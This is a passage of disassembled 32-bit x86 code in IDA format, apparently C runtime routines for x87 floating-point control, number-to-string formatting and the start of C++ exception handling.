and eax, 7FF0h
sar eax, 4
movsx ecx, ax
sub ecx, 3FEh
mov [ebp+var_4], ecx
loc_42C29A: ; CODE XREF: sub_42C170+2Bj
; sub_42C170+F7j
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov [edx], eax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_42C170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C2B0 proc near ; CODE XREF: sub_42B610+171p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fstsw [ebp+var_4]
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C2B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C2D0 proc near ; CODE XREF: sub_42B610+349p
var_4 = word ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
fnstsw [ebp+var_4]
fnclex
movsx eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C2D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C2F0 proc near ; CODE XREF: sub_41FFF0+11p
; sub_41FFF0+67p ...
var_8 = word ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
fstcw [ebp+var_8]
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
movsx ecx, [ebp+var_8]
mov edx, [ebp+arg_4]
not edx
and ecx, edx
or eax, ecx
mov [ebp+var_4], ax
fldcw [ebp+var_4]
movsx eax, [ebp+var_8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C2F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C330 proc near ; CODE XREF: sub_42BAE0+25p
; sub_42BAE0+50p ...
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_42C34D
fld ds:tbyte_454178
fistp [ebp+var_C]
wait
loc_42C34D: ; CODE XREF: sub_42C330+11j
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_42C367
fstsw ax
fld ds:tbyte_454178
fstp [ebp+var_8]
wait
fstsw ax
loc_42C367: ; CODE XREF: sub_42C330+25j
mov edx, [ebp+arg_0]
and edx, 10h
test edx, edx
jz short loc_42C37B
fld ds:tbyte_454184
fstp [ebp+var_8]
wait
loc_42C37B: ; CODE XREF: sub_42C330+3Fj
mov eax, [ebp+arg_0]
and eax, 4
test eax, eax
jz short loc_42C38E
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_42C38E: ; CODE XREF: sub_42C330+53j
mov ecx, [ebp+arg_0]
and ecx, 20h
test ecx, ecx
jz short loc_42C39E
fldpi
fstp [ebp+var_8]
wait
loc_42C39E: ; CODE XREF: sub_42C330+66j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C3B0 proc near ; CODE XREF: sub_420130+15p
; _0:00432025p
push ebp
mov ebp, esp
push 30000h
push 10000h
call sub_431FF0
add esp, 8
pop ebp
retn
sub_42C3B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C3D0 proc near ; CODE XREF: sub_42C430:loc_42C469p
var_1C = dword ptr -1Ch
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov dword ptr [ebp+var_18], 80000000h
mov dword ptr [ebp+var_18+4], 4147FFFFh
mov dword ptr [ebp+var_8], 0C0000000h
mov dword ptr [ebp+var_8+4], 4150017Eh
fld [ebp+var_8]
fdiv [ebp+var_18]
fmul [ebp+var_18]
fsubr [ebp+var_8]
fstp [ebp+var_10]
fld [ebp+var_10]
fcomp ds:dbl_43CD98
fnstsw ax
test ah, 41h
jnz short loc_42C41D
mov [ebp+var_1C], 1
jmp short loc_42C424
; ---------------------------------------------------------------------------
loc_42C41D: ; CODE XREF: sub_42C3D0+42j
mov [ebp+var_1C], 0
loc_42C424: ; CODE XREF: sub_42C3D0+4Bj
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C3D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C430 proc near ; CODE XREF: sub_420130+Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push offset aKernel32 ; "KERNEL32"
call ds:off_4F5370
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42C469
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
mov eax, [ebp+var_4]
push eax
call ds:off_4F5390
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_42C469
push 0
call [ebp+var_8]
jmp short loc_42C46E
; ---------------------------------------------------------------------------
loc_42C469: ; CODE XREF: sub_42C430+18j
; sub_42C430+30j
call sub_42C3D0
loc_42C46E: ; CODE XREF: sub_42C430+37j
mov esp, ebp
pop ebp
retn
sub_42C430 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C480 proc near ; CODE XREF: sub_427F60+6CFp
; DATA XREF: sub_420170+21o ...
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_421C90
add esp, 4
cmp eax, 65h
jz short loc_42C4E0
loc_42C49A: ; CODE XREF: sub_42C480+5Ej
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp ds:dword_453DF0, 1
jle short loc_42C4C2
push 4
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
push ecx
call sub_427040
add esp, 8
mov [ebp+var_C], eax
jmp short loc_42C4DA
; ---------------------------------------------------------------------------
loc_42C4C2: ; CODE XREF: sub_42C480+2Aj
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_C], edx
loc_42C4DA: ; CODE XREF: sub_42C480+40j
cmp [ebp+var_C], 0
jnz short loc_42C49A
loc_42C4E0: ; CODE XREF: sub_42C480+18j
mov eax, [ebp+arg_0]
mov cl, [eax]
mov [ebp+var_8], cl
mov edx, [ebp+arg_0]
mov al, ds:byte_453DF4
mov [edx], al
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
loc_42C4FB: ; CODE XREF: sub_42C480+A2j
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ebp+var_4], al
mov ecx, [ebp+arg_0]
mov dl, [ebp+var_8]
mov [ecx], dl
mov al, [ebp+var_4]
mov [ebp+var_8], al
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
test edx, edx
jnz short loc_42C4FB
mov esp, ebp
pop ebp
retn
sub_42C480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C530 proc near ; CODE XREF: sub_427F60+6F1p
; DATA XREF: sub_420170+Do ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
loc_42C534: ; CODE XREF: sub_42C530+28j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42C55A
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
movsx ecx, ds:byte_453DF4
cmp eax, ecx
jz short loc_42C55A
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
jmp short loc_42C534
; ---------------------------------------------------------------------------
loc_42C55A: ; CODE XREF: sub_42C530+Cj
; sub_42C530+1Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
test ecx, ecx
jz loc_42C603
loc_42C571: ; CODE XREF: sub_42C530+6Aj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_42C59C
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
cmp eax, 65h
jz short loc_42C59C
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 45h
jz short loc_42C59C
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
jmp short loc_42C571
; ---------------------------------------------------------------------------
loc_42C59C: ; CODE XREF: sub_42C530+49j
; sub_42C530+54j ...
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
loc_42C5AB: ; CODE XREF: sub_42C530+8Fj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jnz short loc_42C5C1
mov edx, [ebp+arg_0]
sub edx, 1
mov [ebp+arg_0], edx
jmp short loc_42C5AB
; ---------------------------------------------------------------------------
loc_42C5C1: ; CODE XREF: sub_42C530+84j
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
movsx edx, ds:byte_453DF4
cmp ecx, edx
jnz short loc_42C5DB
mov eax, [ebp+arg_0]
sub eax, 1
mov [ebp+arg_0], eax
loc_42C5DB: ; CODE XREF: sub_42C530+A0j
; sub_42C530+D1j
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx]
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
test eax, eax
jz short loc_42C603
jmp short loc_42C5DB
; ---------------------------------------------------------------------------
loc_42C603: ; CODE XREF: sub_42C530+3Bj
; sub_42C530+CFj
mov esp, ebp
pop ebp
retn
sub_42C530 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C610 proc near ; DATA XREF: sub_420170+2Bo
; _2:off_4541A0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 1
jnz short loc_42C62F
mov [ebp+var_4], 1
jmp short loc_42C636
; ---------------------------------------------------------------------------
loc_42C62F: ; CODE XREF: sub_42C610+14j
mov [ebp+var_4], 0
loc_42C636: ; CODE XREF: sub_42C610+1Dj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42C610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C640 proc near ; CODE XREF: sub_429E90+1138p
; DATA XREF: sub_420170+17o ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jz short loc_42C66C
mov eax, [ebp+arg_8]
push eax
lea ecx, [ebp+var_8]
push ecx
call sub_432B20
add esp, 8
mov edx, [ebp+arg_4]
mov eax, [ebp+var_8]
mov [edx], eax
mov ecx, [ebp+var_4]
mov [edx+4], ecx
jmp short loc_42C684
; ---------------------------------------------------------------------------
loc_42C66C: ; CODE XREF: sub_42C640+Aj
mov edx, [ebp+arg_8]
push edx
lea eax, [ebp+var_C]
push eax
call sub_432BA0
add esp, 8
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_C]
mov [ecx], edx
loc_42C684: ; CODE XREF: sub_42C640+2Aj
mov esp, ebp
pop ebp
retn
sub_42C640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C690 proc near ; CODE XREF: sub_42CB20+1Fp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_432CE0
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
add ecx, 1
push ecx
mov edx, [ebp+var_4]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
xor edx, edx
cmp [ebp+arg_8], 0
setnle dl
add ecx, edx
push ecx
call sub_432BE0
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_42C710
add esp, 14h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_42C690 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C710 proc near ; CODE XREF: sub_42C690+67p
; sub_42CA30+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 8
movsx eax, [ebp+arg_10]
test eax, eax
jz short loc_42C747
mov ecx, [ebp+arg_C]
xor edx, edx
cmp dword ptr [ecx], 2Dh
setz dl
mov eax, [ebp+arg_0]
add eax, edx
mov [ebp+var_4], eax
xor ecx, ecx
cmp [ebp+arg_4], 0
setnle cl
push ecx
mov edx, [ebp+var_4]
push edx
call sub_42CB80
add esp, 8
loc_42C747: ; CODE XREF: sub_42C710+Cj
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 2Dh
jnz short loc_42C764
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42C764: ; CODE XREF: sub_42C710+43j
cmp [ebp+arg_4], 0
jle short loc_42C788
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov al, [edx+1]
mov [ecx], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov al, ds:byte_453DF4
mov [edx], al
loc_42C788: ; CODE XREF: sub_42C710+58j
push offset aE000 ; "e+000"
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
movsx edx, [ebp+arg_10]
neg edx
sbb edx, edx
inc edx
add ecx, edx
push ecx
call sub_41F620
add esp, 8
mov [ebp+var_4], eax
cmp [ebp+arg_8], 0
jz short loc_42C7B6
mov eax, [ebp+var_4]
mov byte ptr [eax], 45h
loc_42C7B6: ; CODE XREF: sub_42C710+9Ej
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jz loc_42C86F
mov edx, [ebp+arg_C]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_42C7F1
mov ecx, [ebp+var_8]
neg ecx
mov [ebp+var_8], ecx
mov edx, [ebp+var_4]
mov byte ptr [edx], 2Dh
loc_42C7F1: ; CODE XREF: sub_42C710+D1j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 64h
jl short loc_42C825
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_8], edx
loc_42C825: ; CODE XREF: sub_42C710+EEj
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
cmp [ebp+var_8], 0Ah
jl short loc_42C859
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov edx, [ebp+var_4]
mov cl, [edx]
add cl, al
mov edx, [ebp+var_4]
mov [edx], cl
mov eax, [ebp+var_8]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+var_8], edx
loc_42C859: ; CODE XREF: sub_42C710+122j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
add cl, byte ptr [ebp+var_8]
mov edx, [ebp+var_4]
mov [edx], cl
loc_42C86F: ; CODE XREF: sub_42C710+BBj
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_42C710 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C880 proc near ; CODE XREF: sub_42CB20+3Bp
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
lea eax, [ebp+var_14]
mov [ebp+var_4], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_432CE0
add esp, 10h
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
add edx, [ecx+4]
push edx
mov eax, [ebp+var_4]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_4]
add edx, ecx
push edx
call sub_432BE0
add esp, 0Ch
push 0
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_42C8F0
add esp, 10h
mov eax, [ebp+arg_4]
mov esp, ebp
pop ebp
retn
sub_42C880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C8F0 proc near ; CODE XREF: sub_42C880+5Bp
; sub_42CA30+D9p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_8], ecx
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_42C943
mov eax, [ebp+arg_8]
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
mov edx, [ebp+arg_0]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_4]
jnz short loc_42C943
mov ecx, [ebp+var_4]
add ecx, [ebp+var_8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 30h
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0
loc_42C943: ; CODE XREF: sub_42C8F0+18j
; sub_42C8F0+33j
mov edx, [ebp+arg_0]
mov [ebp+var_4], edx
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 2Dh
jnz short loc_42C960
mov ecx, [ebp+var_4]
mov byte ptr [ecx], 2Dh
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42C960: ; CODE XREF: sub_42C8F0+5Fj
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jg short loc_42C988
push 1
mov ecx, [ebp+var_4]
push ecx
call sub_42CB80
add esp, 8
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_42C994
; ---------------------------------------------------------------------------
loc_42C988: ; CODE XREF: sub_42C8F0+77j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+4]
mov [ebp+var_4], edx
loc_42C994: ; CODE XREF: sub_42C8F0+96j
cmp [ebp+arg_4], 0
jle loc_42CA26
push 1
mov eax, [ebp+var_4]
push eax
call sub_42CB80
add esp, 8
mov ecx, [ebp+var_4]
mov dl, ds:byte_453DF4
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+4], 0
jge short loc_42CA26
movsx edx, [ebp+arg_C]
test edx, edx
jz short loc_42C9DE
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
neg ecx
mov [ebp+arg_4], ecx
jmp short loc_42CA04
; ---------------------------------------------------------------------------
loc_42C9DE: ; CODE XREF: sub_42C8F0+DFj
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
cmp [ebp+arg_4], eax
jge short loc_42C9F3
mov ecx, [ebp+arg_4]
mov [ebp+var_10], ecx
jmp short loc_42C9FE
; ---------------------------------------------------------------------------
loc_42C9F3: ; CODE XREF: sub_42C8F0+F9j
mov edx, [ebp+arg_8]
mov eax, [edx+4]
neg eax
mov [ebp+var_10], eax
loc_42C9FE: ; CODE XREF: sub_42C8F0+101j
mov ecx, [ebp+var_10]
mov [ebp+arg_4], ecx
loc_42CA04: ; CODE XREF: sub_42C8F0+ECj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
push eax
call sub_42CB80
add esp, 8
mov ecx, [ebp+arg_4]
push ecx
push 30h
mov edx, [ebp+var_4]
push edx
call sub_41E4B0
add esp, 0Ch
loc_42CA26: ; CODE XREF: sub_42C8F0+A8j
; sub_42C8F0+D7j
mov eax, [ebp+arg_0]
mov esp, ebp
pop ebp
retn
sub_42C8F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CA30 proc near ; CODE XREF: sub_42CB20+55p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = byte ptr -2Ch
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
mov [ebp+var_30], 0
lea eax, [ebp+var_14]
mov [ebp+var_38], eax
lea ecx, [ebp+var_2C]
push ecx
lea edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
mov edx, [eax]
push edx
call sub_432CE0
add esp, 10h
mov eax, [ebp+var_38]
mov ecx, [eax+4]
sub ecx, 1
mov [ebp+var_34], ecx
mov edx, [ebp+var_38]
xor eax, eax
cmp dword ptr [edx], 2Dh
setz al
mov ecx, [ebp+arg_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_432BE0
add esp, 0Ch
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
xor ecx, ecx
cmp [ebp+var_34], eax
setl cl
mov [ebp+var_30], cl
mov edx, [ebp+var_38]
mov eax, [edx+4]
sub eax, 1
mov [ebp+var_34], eax
cmp [ebp+var_34], 0FFFFFFFCh
jl short loc_42CABB
mov ecx, [ebp+var_34]
cmp ecx, [ebp+arg_8]
jl short loc_42CAD7
loc_42CABB: ; CODE XREF: sub_42CA30+81j
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
call sub_42C710
add esp, 14h
jmp short loc_42CB11
; ---------------------------------------------------------------------------
loc_42CAD7: ; CODE XREF: sub_42CA30+89j
movsx eax, [ebp+var_30]
test eax, eax
jz short loc_42CAFB
loc_42CADF: ; CODE XREF: sub_42CA30+C2j
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
test edx, edx
jz short loc_42CAF4
jmp short loc_42CADF
; ---------------------------------------------------------------------------
loc_42CAF4: ; CODE XREF: sub_42CA30+C0j
mov ecx, [ebp+var_4]
mov byte ptr [ecx-2], 0
loc_42CAFB: ; CODE XREF: sub_42CA30+ADj
push 1
mov edx, [ebp+var_38]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_42C8F0
add esp, 10h
loc_42CB11: ; CODE XREF: sub_42CA30+A5j
mov esp, ebp
pop ebp
retn
sub_42CA30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CB20 proc near ; CODE XREF: sub_427F60+6ADp
; DATA XREF: sub_420170+3o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_42CB2F
cmp [ebp+arg_8], 45h
jnz short loc_42CB49
loc_42CB2F: ; CODE XREF: sub_42CB20+7j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42C690
add esp, 10h
jmp short loc_42CB7D
; ---------------------------------------------------------------------------
loc_42CB49: ; CODE XREF: sub_42CB20+Dj
cmp [ebp+arg_8], 66h
jnz short loc_42CB65
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42C880
add esp, 0Ch
jmp short loc_42CB7D
; ---------------------------------------------------------------------------
loc_42CB65: ; CODE XREF: sub_42CB20+2Dj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42CA30
add esp, 10h
loc_42CB7D: ; CODE XREF: sub_42CB20+27j
; sub_42CB20+43j
pop ebp
retn
sub_42CB20 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CB80 proc near ; CODE XREF: sub_42C710+2Fp
; sub_42C8F0+7Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jz short loc_42CBAC
mov eax, [ebp+arg_0]
push eax
call sub_41BC70
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
add edx, [ebp+arg_4]
push edx
call sub_420840
add esp, 0Ch
loc_42CBAC: ; CODE XREF: sub_42CB80+7j
pop ebp
retn
sub_42CB80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CBB0 proc near ; CODE XREF: sub_420420+27p
; sub_420500+2Cp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_10]
cmp dword ptr [eax], 19930520h
jnz short loc_42CBCA
mov [ebp+var_8], 0
jmp short loc_42CBD2
; ---------------------------------------------------------------------------
loc_42CBCA: ; CODE XREF: sub_42CBB0+Fj
call sub_42D910
mov [ebp+var_8], eax
loc_42CBD2: ; CODE XREF: sub_42CBB0+18j
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, 66h
test edx, edx
jz short loc_42CC0E
mov eax, [ebp+arg_10]
cmp dword ptr [eax+4], 0
jz short loc_42CC04
cmp [ebp+arg_14], 0
jnz short loc_42CC04
push 0FFFFFFFFh
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_42D120
add esp, 10h
loc_42CC04: ; CODE XREF: sub_42CBB0+36j
; sub_42CBB0+3Cj
mov eax, 1
jmp loc_42CC9B
; ---------------------------------------------------------------------------
loc_42CC0E: ; CODE XREF: sub_42CBB0+2Dj
mov ecx, [ebp+arg_10]
cmp dword ptr [ecx+0Ch], 0
jz short loc_42CC96
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_42CC6E
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jbe short loc_42CC6E
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+8]
